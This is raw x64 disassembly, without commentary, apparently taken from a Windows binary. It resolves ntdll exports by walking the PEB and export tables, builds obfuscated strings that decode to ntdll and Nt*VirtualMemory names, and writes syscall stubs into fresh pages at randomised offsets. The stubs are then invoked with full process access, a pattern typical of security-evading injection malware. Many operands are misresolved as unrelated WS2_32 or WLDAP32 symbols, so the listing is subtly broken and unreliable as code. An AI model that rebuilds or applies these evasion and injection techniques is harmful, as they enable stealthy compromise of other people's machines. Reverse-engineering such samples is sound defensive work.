mov dword [rsp + 0x60], eax
lea r9, [rbp + 0xee8]
mov r8d, dword [rbp + 0xee8]
mov edx, 0x1000
mov rdi, qword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bdea0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x1400f1364], edi
mov eax, dword [rsp + 0x60]
jmp 0x14002681e
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140027826
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140027826
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140027826
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140027826
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140027826
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x281]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140027649
inc rax
test edi, edi
jne 0x140027634
test r8d, r8d
je 0x14002765c
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x140027623
jmp 0x140027826
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140027826
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140027826
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
call fcn.140095f90
or dword [rbp + 0x15d44], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x149c0]
call fcn.14003804c
lea rcx, [rbp + 0x149c0]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea esi, [rax + 1]
lea rcx, [rbp + 0x149c0]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x2f550], rax
add rdi, rsi
cmp rdi, 0x200
jl 0x140027702
mov esi, reloc.WS2_32.dll_sendto
mov rdi, qword [rsp + 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0x2f550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xedc], eax
lea r9, [rbp + 0xedc]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x40]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0xd80]
call rdi
mov edi, eax
lea r9, [rbp + 0xedc]
mov r8d, dword [rbp + 0xedc]
mov edx, 0x1000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rsp + 0x70]
call fcn.1400bdea0
lea edx, [rsi - 9]
mov r8d, 0x8000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
test edi, edi
js 0x14002ece3
mov rax, qword [rbp + 0xd80]
mov qword [rbp - 0x30], rax
cmp rax, 0xffffffffffffffff
je 0x14002ece3
mov eax, 0xa
mov byte [rbp + 0x6d8], al
lea edi, [rax + 0xb]
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6d9], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6da], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, 0x57
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6db], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6dc], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x69
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6dd], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6de], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x46
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6df], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6e0], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, WSAStartup
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6e1], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x53
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6e2], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6e3], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6e4], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x67
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6e5], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x6c
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6e6], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x65
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6e7], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6e8], al
mov r9d, edi
mov r8, r15
mov dl, 0x62
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6e9], al
mov r9d, edi
mov r8, rbx
mov dl, 0x6a
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6ea], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x65
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6eb], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x63
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6ec], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + 0x6ed], al
xor eax, eax
mov byte [rbp + 0x6ee], al
mov edi, eax
lea ebx, [rax + 1]
mov r9d, reloc.WS2_32.dll_setsockopt
mov r8, rdi
mov dl, byte [rbp + rdi + 0x6d9]
lea rcx, [rbp + 0x6d8]
call fcn.1400372e8
mov byte [rbp + rdi + 0x6d9], al
add rdi, rbx
cmp rdi, 0x15
jb 0x140027a89
mov ebx, reloc.WS2_32.dll_recvfrom
xor edi, edi
mov byte [rbp + 0x6ee], dil
lea r15d, [rbx - 8]
mov byte [rbp + 0x30], r15b
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x30]
call fcn.140037108
mov byte [rbp + 0x31], al
mov r9d, r15d
lea r15d, [rbx - 0x10]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x30]
call fcn.140037108
mov byte [rbp + 0x32], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0x30]
call fcn.140037108
mov byte [rbp + 0x33], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0x30]
call fcn.140037108
mov byte [rbp + 0x34], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x30]
call fcn.140037108
mov byte [rbp + 0x35], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x30]
call fcn.140037108
mov byte [rbp + 0x36], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0x30]
call fcn.140037108
mov byte [rbp + 0x37], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x30]
call fcn.140037108
mov byte [rbp + 0x38], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x30]
call fcn.140037108
mov byte [rbp + 0x39], al
xor eax, eax
mov byte [rbp + 0x3a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x31]
lea rcx, [rbp + 0x30]
call fcn.140037108
mov byte [rbp + rdi + 0x31], al
add rdi, r15
cmp rdi, 9
jb 0x140027b96
xor eax, eax
lea r15d, [rax + 0x10]
mov byte [rbp + 0x3a], al
mov rax, qword gs:[0x60]
test rax, rax
je 0x140027cda
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140027c5a
lea esi, [rax + 1]
mov r10d, esi
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x140027c2e
mov esi, reloc.WS2_32.dll_sendto
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140027cb3
mov rax, rcx
lea r9, [rbp + 0x31]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140027cac
add rax, r11
test edx, edx
jne 0x140027c97
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor eax, eax
test dil, dil
jne 0x1400281a9
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
cmp rax, qword [rbp - 0x80]
jne 0x140027be5
xor eax, eax
mov qword [rbp + 0xf50], rax
mov byte [rbp + 0x498], Ordinal_27
mov r9d, reloc.WS2_32.dll_send
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x499], al
mov r9d, reloc.WS2_32.dll_send
lea r14d, [r9 - 0x12]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x49a], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 1]
mov dl, 0x52
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x49b], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 2]
mov dl, 0x65
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x49c], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 3]
mov dl, 0x61
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x49d], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 4]
mov dl, 0x64
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x49e], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 5]
mov dl, 0x56
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x49f], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 6]
mov dl, 0x69
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x4a0], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x4a1], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x4a2], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 9]
mov dl, 0x75
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x4a3], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x4a4], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 0xb]
mov dl, 0x6c
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x4a5], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 0xc]
mov dl, 0x4d
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x4a6], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 0xd]
mov dl, 0x65
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x4a7], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 0xe]
mov dl, 0x6d
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x4a8], al
lea r9d, [r14 + 0x12]
mov r8, r15
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x4a9], al
lea r9d, [r14 + 0x12]
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x4aa], al
lea r9d, [r14 + 0x12]
lea r8d, [r14 + 0x11]
mov dl, 0x79
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + 0x4ab], al
xor eax, eax
mov byte [rbp + 0x4ac], al
mov edi, eax
mov r9d, reloc.WS2_32.dll_send
mov r8, rdi
mov dl, byte [rbp + rdi + 0x499]
lea rcx, [rbp + 0x498]
call fcn.1400378fc
mov byte [rbp + rdi + 0x499], al
add rdi, r14
cmp rdi, 0x13
jb 0x140027f0c
xor edi, edi
lea r14d, [rdi + 0x20]
mov byte [rbp + 0x4ac], dil
mov byte [rbp + 0x170], 0x42
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x170]
call fcn.140037108
mov byte [rbp + 0x171], al
mov r9d, ebx
lea ebx, [rdi + 1]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x170]
call fcn.140037108
mov byte [rbp + 0x172], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x170]
call fcn.140037108
mov byte [rbp + 0x173], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x170]
call fcn.140037108
mov byte [rbp + 0x174], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x170]
call fcn.140037108
mov byte [rbp + 0x175], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x170]
call fcn.140037108
mov byte [rbp + 0x176], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x170]
call fcn.140037108
mov byte [rbp + 0x177], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x170]
call fcn.140037108
mov byte [rbp + 0x178], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x170]
call fcn.140037108
mov byte [rbp + 0x179], al
xor eax, eax
mov byte [rbp + 0x17a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x171]
lea rcx, [rbp + 0x170]
call fcn.140037108
mov byte [rbp + rdi + 0x171], al
add rdi, rbx
cmp rdi, 9
jb 0x140028052
mov ebx, reloc.WS2_32.dll_recvfrom
xor ecx, ecx
mov byte [rbp + 0x17a], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x140028635
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140028123
lea esi, [rax + 1]
mov r10d, esi
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x1400280f7
mov esi, reloc.WS2_32.dll_sendto
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002817f
mov rax, rcx
lea r9, [rbp + 0x171]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140028178
add rax, r11
test edx, edx
jne 0x140028163
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
test dil, dil
jne 0x1400283e6
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
cmp rax, qword [rbp - 0x80]
jne 0x1400280ae
jmp 0x140028635
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140027cdc
mov edx, 0x5a4d
cmp word [rcx], dx
jne 0x140027cdc
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140027cda
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140027cda
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140027cda
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x6d9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002823a
inc rax
test edi, edi
jne 0x140028225
xor eax, eax
test r8d, r8d
je 0x14002824f
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x140028214
jmp 0x140027cdc
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
xor eax, eax
add rdx, rcx
je 0x140027cdc
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140027cda
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.140095f90
or dword [rbp + 0x170d4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x15d50]
call fcn.14003804c
lea rcx, [rbp + 0x15d50]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x15d50]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x30550], rax
add rdi, r14
cmp rdi, 0x200
jl 0x1400282f8
mov r14d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x30550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xed8], eax
lea r9, [rbp + 0xed8]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x30]
call rdi
lea r9, [rbp + 0xed8]
mov r8d, dword [rbp + 0xed8]
mov edx, 0x1000
mov rdi, qword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bdea0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
jmp 0x140027cdc
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx + 0x20]
xor edx, edx
test rcx, rcx
je 0x140028637
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140028637
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140028637
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140028637
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140028637
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x499]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140028479
inc rax
test edi, edi
jne 0x140028464
mov edi, 1
test r8d, r8d
je 0x140028493
add rdx, rdi
cmp rdx, qword [rbp - 0x70]
jb 0x140028453
xor edx, edx
jmp 0x14002863c
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
xor ecx, ecx
test rdx, rdx
je 0x14002848c
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
cmp eax, edi
jl 0x14002848c
mov edx, 0x1000
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
call fcn.140095f90
or dword [rbp + 0x18464], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x170e0]
call fcn.14003804c
lea rcx, [rbp + 0x170e0]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x170e0]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x31550], rax
add rdi, r15
cmp rdi, 0x200
jl 0x140028530
mov r15d, reloc.WS2_32.dll_recv
mov rdi, qword [rsp + 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0x31550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xed4], eax
lea r9, [rbp + 0xed4]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [r15 - 8]
lea r8, [rbp + 0xf50]
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x40]
call rdi
mov edi, eax
lea r9, [rbp + 0xed4]
mov r8d, dword [rbp + 0xed4]
mov edx, 0x1000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rsp + 0x70]
call fcn.1400bdea0
lea edx, [r15 - 5]
mov r8d, 0x8000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ecx, ecx
mov dword [0x1400f1364], ecx
test edi, edi
js 0x14002d5ea
xor edx, edx
mov edi, 1
mov rcx, qword [rbp - 0x28]
cmp qword [rcx], rdx
je 0x14002b967
jmp 0x140028650
mov edi, 1
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x28550]
call fcn.1400bdea0
mov byte [rbp + 0x5a0], 2
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5a1], al
mov r9, rsi
mov r8, rdi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5a2], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5a3], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5a4], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5a5], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5a6], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5a7], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5a8], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5a9], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5aa], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5ab], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5ac], al
mov r9, rsi
mov r8d, ntohs
